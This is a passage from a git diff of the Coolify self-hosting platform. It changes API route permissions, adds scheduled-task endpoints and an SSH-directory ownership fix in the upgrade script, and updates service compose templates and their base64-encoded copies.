'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); Route::get('/services', [ServicesController::class, 'services'])->middleware(['api.ability:read']); Route::post('/services', [ServicesController::class, 'create_service'])->middleware(['api.ability:write']); @@ -168,9 +169,21 @@ Route::patch('/services/{uuid}/envs', [ServicesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}/envs/{env_uuid}', [ServicesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:write']); - Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/services/{uuid}/start', [ServicesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/restart', [ServicesController::class, 'action_restart'])->middleware(['api.ability:deploy']); + Route::match(['get', 'post'], '/services/{uuid}/stop', [ServicesController::class, 'action_stop'])->middleware(['api.ability:deploy']); + + Route::get('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_application_uuid'])->middleware(['api.ability:read']); + Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']); + + Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); + Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']); }); Route::group([ diff --git a/routes/web.php b/routes/web.php index e8c738b71..26863aa17 100644 --- a/routes/web.php +++ b/routes/web.php @@ -62,6 +62,7 @@ use App\Livewire\Server\Swarm as ServerSwarm; use App\Livewire\Settings\Advanced as SettingsAdvanced; use App\Livewire\Settings\Index as SettingsIndex; +use App\Livewire\Settings\ScheduledJobs as SettingsScheduledJobs; use App\Livewire\Settings\Updates as SettingsUpdates; use App\Livewire\SettingsBackup; use App\Livewire\SettingsEmail; @@ -119,6 +120,7 @@ Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); + Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs'); Route::get('/profile', ProfileIndex::class)->name('profile'); @@ -166,9 +168,23 @@ Route::post('/terminal/auth/ips', function () { if (auth()->check()) { $team = auth()->user()->currentTeam(); - $ipAddresses = $team->servers->where('settings.is_terminal_enabled', true)->pluck('ip')->toArray(); + $ipAddresses = $team->servers + ->where('settings.is_terminal_enabled', true) + ->pluck('ip') + ->filter() + ->values(); - return response()->json(['ipAddresses' => $ipAddresses], 200); + if (isDev()) { + $ipAddresses = $ipAddresses->merge([ + 'coolify-testing-host', + 'host.docker.internal', + 'localhost', + '127.0.0.1', + base_ip(), + ])->filter()->unique()->values(); + } + + return response()->json(['ipAddresses' => $ipAddresses->all()], 200); } return response()->json(['ipAddresses' => []], 401); diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh index 648849d5c..f32db9b8d 100644 --- a/scripts/upgrade.sh +++ b/scripts/upgrade.sh @@ -141,6 +141,15 @@ else log "Network 'coolify' already exists" fi +# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621) +# Only changes owner — preserves existing group to respect custom setups +SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown") +if [ "$SSH_OWNER" != "9999" ]; then + log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)" + chown -R 9999 /data/coolify/ssh + chmod -R 700 /data/coolify/ssh +fi + # Check if Docker config file exists DOCKER_CONFIG_MOUNT="" if [ -f /root/.docker/config.json ]; then diff --git a/svgs/cells.svg b/svgs/cells.svg new file mode 100644 index 000000000..f82e53ec7 --- /dev/null +++ b/svgs/cells.svg @@ -0,0 +1,38 @@ + + + + + + + + + + diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml index a318f4702..5d0b4fecc 100644 --- a/templates/compose/beszel-agent.yaml +++ b/templates/compose/beszel-agent.yaml @@ -6,13 +6,26 @@ services: beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=${HUB_URL?} - - 'TOKEN=${TOKEN?}' - - 'KEY=${KEY?}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml index cba11e4bb..bc68c1825 100644 --- a/templates/compose/beszel.yaml +++ b/templates/compose/beszel.yaml @@ -9,21 +9,41 @@ # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI) services: beszel: - image: 'henrygd/beszel:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026 environment: - SERVICE_URL_BESZEL_8090 + - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true} + - SHARE_ALL_SYSTEMS=${SHARE_ALL_SYSTEMS:-false} volumes: - 'beszel_data:/beszel_data' - 'beszel_socket:/beszel_socket' + healthcheck: + test: ['CMD', '/beszel', 'health', '--url', 'http://localhost:8090'] + interval: 30s + timeout: 20s + retries: 10 + start_period: 5s beszel-agent: - image: 'henrygd/beszel-agent:0.16.1' # Released on 14 Nov 2025 + image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: + # Required - LISTEN=/beszel_socket/beszel.sock - - HUB_URL=http://beszel:8090 - - 'TOKEN=${TOKEN}' - - 'KEY=${KEY}' + - HUB_URL=$SERVICE_URL_BESZEL + - TOKEN=${TOKEN} # From hub token settings + - KEY=${KEY} # SSH public key(s) from hub + # Optional + - DISABLE_SSH=${DISABLE_SSH:-false} # Disable SSH + - LOG_LEVEL=${LOG_LEVEL:-warn} # Logging level + - SKIP_GPU=${SKIP_GPU:-false} # Skip GPU monitoring + - SYSTEM_NAME=${SYSTEM_NAME} # Custom system name volumes: - beszel_agent_data:/var/lib/beszel-agent - beszel_socket:/beszel_socket - '/var/run/docker.sock:/var/run/docker.sock:ro' - + healthcheck: + test: ['CMD', '/agent', 'health'] + interval: 60s + timeout: 20s + retries: 10 + start_period: 5s \ No newline at end of file diff --git a/templates/compose/castopod.yaml b/templates/compose/castopod.yaml index 6c6e8c4d5..8eaed59e5 100644 --- a/templates/compose/castopod.yaml +++ b/templates/compose/castopod.yaml @@ -3,15 +3,15 @@ # category: media # tags: podcast, media, audio, video, streaming, hosting, platform, castopod # logo: svgs/castopod.svg -# port: 8000 +# port: 8080 services: castopod: - image: castopod/castopod:latest + image: castopod/castopod:1.15.4 volumes: - castopod-media:/var/www/castopod/public/media environment: - - SERVICE_URL_CASTOPOD_8000 + - SERVICE_URL_CASTOPOD_8080 - MYSQL_DATABASE=castopod - MYSQL_USER=$SERVICE_USER_MYSQL - MYSQL_PASSWORD=$SERVICE_PASSWORD_MYSQL @@ -27,7 +27,7 @@ services: "CMD", "curl", "-f", - "http://localhost:8000/health" + "http://localhost:8080/health" ] interval: 5s timeout: 20s diff --git a/templates/compose/cloudreve.yaml b/templates/compose/cloudreve.yaml index 39ea8181f..88a2d2109 100644 --- a/templates/compose/cloudreve.yaml +++ b/templates/compose/cloudreve.yaml @@ -38,7 +38,7 @@ services: - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - POSTGRES_DB=${POSTGRES_DB:-cloudreve-db} volumes: - - postgres-data:/var/lib/postgresql/data + - postgres-data:/var/lib/postgresql healthcheck: test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] interval: 10s diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml index effeeeb4a..b684c5380 100644 --- a/templates/compose/ente-photos.yaml +++ b/templates/compose/ente-photos.yaml @@ -16,6 +16,7 @@ services: - ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002} - ENTE_APPS_CAST=${SERVICE_URL_WEB_3004} - ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001} + - ENTE_PHOTOS_ORIGIN=${SERVICE_URL_WEB} - ENTE_DB_HOST=${ENTE_DB_HOST:-postgres} - ENTE_DB_PORT=${ENTE_DB_PORT:-5432} diff --git a/templates/compose/grist.yaml b/templates/compose/grist.yaml index 89f1692b1..584d50872 100644 --- a/templates/compose/grist.yaml +++ b/templates/compose/grist.yaml @@ -3,16 +3,16 @@ # category: productivity # tags: lowcode, nocode, spreadsheet, database, relational # logo: svgs/grist.svg -# port: 443 +# port: 8484 services: grist: image: gristlabs/grist:latest environment: - - SERVICE_URL_GRIST_443 + - SERVICE_URL_GRIST_8484 - APP_HOME_URL=${SERVICE_URL_GRIST} - APP_DOC_URL=${SERVICE_URL_GRIST} - - GRIST_DOMAIN=${SERVICE_URL_GRIST} + - GRIST_DOMAIN=${SERVICE_FQDN_GRIST} - TZ=${TZ:-UTC} - GRIST_SUPPORT_ANON=${SUPPORT_ANON:-false} - GRIST_FORCE_LOGIN=${FORCE_LOGIN:-true} @@ -20,7 +20,7 @@ services: - GRIST_PAGE_TITLE_SUFFIX=${PAGE_TITLE_SUFFIX:- - Suffix} - GRIST_HIDE_UI_ELEMENTS=${HIDE_UI_ELEMENTS:-billing,sendToDrive,supportGrist,multiAccounts,tutorials} - GRIST_UI_FEATURES=${UI_FEATURES:-helpCenter,billing,templates,createSite,multiSite,sendToDrive,tutorials,supportGrist} - - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-test@example.com} + - GRIST_DEFAULT_EMAIL=${DEFAULT_EMAIL:-?} - GRIST_ORG_IN_PATH=${ORG_IN_PATH:-true} - GRIST_OIDC_SP_HOST=${SERVICE_URL_GRIST} - GRIST_OIDC_IDP_SCOPES=${OIDC_IDP_SCOPES:-openid profile email} @@ -37,7 +37,7 @@ services: - TYPEORM_DATABASE=${POSTGRES_DATABASE:-grist-db} - TYPEORM_USERNAME=${SERVICE_USER_POSTGRES} - TYPEORM_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - TYPEORM_HOST=${TYPEORM_HOST} + - TYPEORM_HOST=${TYPEORM_HOST:-postgres} - TYPEORM_PORT=${TYPEORM_PORT:-5432} - TYPEORM_LOGGING=${TYPEORM_LOGGING:-false} - REDIS_URL=${REDIS_URL:-redis://redis:6379} diff --git a/templates/compose/hoppscotch.yaml b/templates/compose/hoppscotch.yaml index 536a3a215..2f8731c0f 100644 --- a/templates/compose/hoppscotch.yaml +++ b/templates/compose/hoppscotch.yaml @@ -7,7 +7,7 @@ services: backend: - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 environment: - SERVICE_URL_HOPPSCOTCH_80 - VITE_ALLOWED_AUTH_PROVIDERS=${VITE_ALLOWED_AUTH_PROVIDERS:-GOOGLE,GITHUB,MICROSOFT,EMAIL} @@ -34,7 +34,7 @@ services: retries: 10 hoppscotch-db: - image: postgres:latest + image: postgres:15 volumes: - postgres_data:/var/lib/postgresql/data environment: @@ -51,7 +51,7 @@ services: db-migration: exclude_from_hc: true - image: hoppscotch/hoppscotch:latest + image: hoppscotch/hoppscotch:2026.2.1 depends_on: hoppscotch-db: condition: service_healthy diff --git a/templates/compose/minio-community-edition.yaml b/templates/compose/minio-community-edition.yaml index 1143235e5..49a393624 100644 --- a/templates/compose/minio-community-edition.yaml +++ b/templates/compose/minio-community-edition.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images # slogan: MinIO is a high performance object storage server compatible with Amazon S3 APIs. # category: storage diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml index e03b38960..b7d381399 100644 --- a/templates/compose/n8n-with-postgres-and-worker.yaml +++ b/templates/compose/n8n-with-postgres-and-worker.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.4 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -54,7 +54,7 @@ services: retries: 10 n8n-worker: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.4 command: worker environment: - GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-UTC} @@ -122,7 +122,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.4 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n-worker:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml index 0cf58de18..d7096add2 100644 --- a/templates/compose/n8n-with-postgresql.yaml +++ b/templates/compose/n8n-with-postgresql.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -47,7 +47,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=$SERVICE_PASSWORD_N8N diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml index d45cf1465..ff5ee90b2 100644 --- a/templates/compose/n8n.yaml +++ b/templates/compose/n8n.yaml @@ -7,7 +7,7 @@ services: n8n: - image: n8nio/n8n:2.1.5 + image: n8nio/n8n:2.10.2 environment: - SERVICE_URL_N8N_5678 - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N} @@ -38,7 +38,7 @@ services: retries: 10 task-runners: - image: n8nio/runners:2.1.5 + image: n8nio/runners:2.10.2 environment: - N8N_RUNNERS_TASK_BROKER_URI=${N8N_RUNNERS_TASK_BROKER_URI:-http://n8n:5679} - N8N_RUNNERS_AUTH_TOKEN=${SERVICE_PASSWORD_N8N} diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index bc2fbd637..346b0c664 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://docs.plane.so/self-hosting/methods/docker-compose # slogan: The open source project management tool # category: productivity diff --git a/templates/compose/pterodactyl-panel.yaml b/templates/compose/pterodactyl-panel.yaml index 9a3f6c779..c86d9d468 100644 --- a/templates/compose/pterodactyl-panel.yaml +++ b/templates/compose/pterodactyl-panel.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media @@ -102,4 +103,4 @@ services: - MAIL_PORT=$MAIL_PORT - MAIL_USERNAME=$MAIL_USERNAME - MAIL_PASSWORD=$MAIL_PASSWORD - - MAIL_ENCRYPTION=$MAIL_ENCRYPTION + - MAIL_ENCRYPTION=$MAIL_ENCRYPTION \ No newline at end of file diff --git a/templates/compose/pterodactyl-with-wings.yaml b/templates/compose/pterodactyl-with-wings.yaml index 6e1e3614c..20465a139 100644 --- a/templates/compose/pterodactyl-with-wings.yaml +++ b/templates/compose/pterodactyl-with-wings.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://pterodactyl.io/ # slogan: Pterodactyl is a free, open-source game server management panel # category: media diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml new file mode 100644 index 000000000..77a24a533 --- /dev/null +++ b/templates/compose/pydio-cells.yml @@ -0,0 +1,33 @@ +# documentation: https://docs.pydio.com/ +# slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance. +# tags: storage +# logo: svgs/cells.svg +# port: 8080 + +services: + cells: + image: pydio/cells:4.4 + environment: + - SERVICE_URL_CELLS_8080 + - CELLS_SITE_EXTERNAL=${SERVICE_URL_CELLS} + - CELLS_SITE_NO_TLS=1 + volumes: + - cells_data:/var/cells + mariadb: + image: 'mariadb:11' + volumes: + - mysql_data:/var/lib/mysql + environment: + - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT} + - MYSQL_DATABASE=${MYSQL_DATABASE:-cells} + - MYSQL_USER=${SERVICE_USER_MYSQL} + - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL} + healthcheck: + test: + - CMD + - healthcheck.sh + - '--connect' + - '--innodb_initialized' + interval: 10s + timeout: 20s + retries: 5 diff --git a/templates/compose/spacebot.yaml b/templates/compose/spacebot.yaml new file mode 100644 index 000000000..2ecfdacd6 --- /dev/null +++ b/templates/compose/spacebot.yaml @@ -0,0 +1,31 @@ +# documentation: https://docs.spacebot.sh/docker +# slogan: An agentic AI system with specialized processes for thinking, working, and remembering. +# category: ai +# tags: ai, agent, anthropic, openai, discord, slack, llm, agentic +# logo: svgs/spacebot.png +# port: 19898 + +services: + spacebot: + image: "ghcr.io/spacedriveapp/spacebot:full" + environment: + - SERVICE_FQDN_SPACEBOT_19898 + - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} + - OPENAI_API_KEY=${OPENAI_API_KEY} + - OPENROUTER_API_KEY=${OPENROUTER_API_KEY} + - DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN} + - SLACK_BOT_TOKEN=${SLACK_BOT_TOKEN} + - SLACK_APP_TOKEN=${SLACK_APP_TOKEN} + - BRAVE_SEARCH_API_KEY=${BRAVE_SEARCH_API_KEY} + - SPACEBOT_CHANNEL_MODEL=${SPACEBOT_CHANNEL_MODEL} + - SPACEBOT_WORKER_MODEL=${SPACEBOT_WORKER_MODEL} + volumes: + - "spacebot-data:/data" + security_opt: + - seccomp=unconfined + shm_size: 1g + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:19898/api/health"] + interval: 30s + timeout: 5s + retries: 3 diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 5f53721fb..bc05073d1 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": 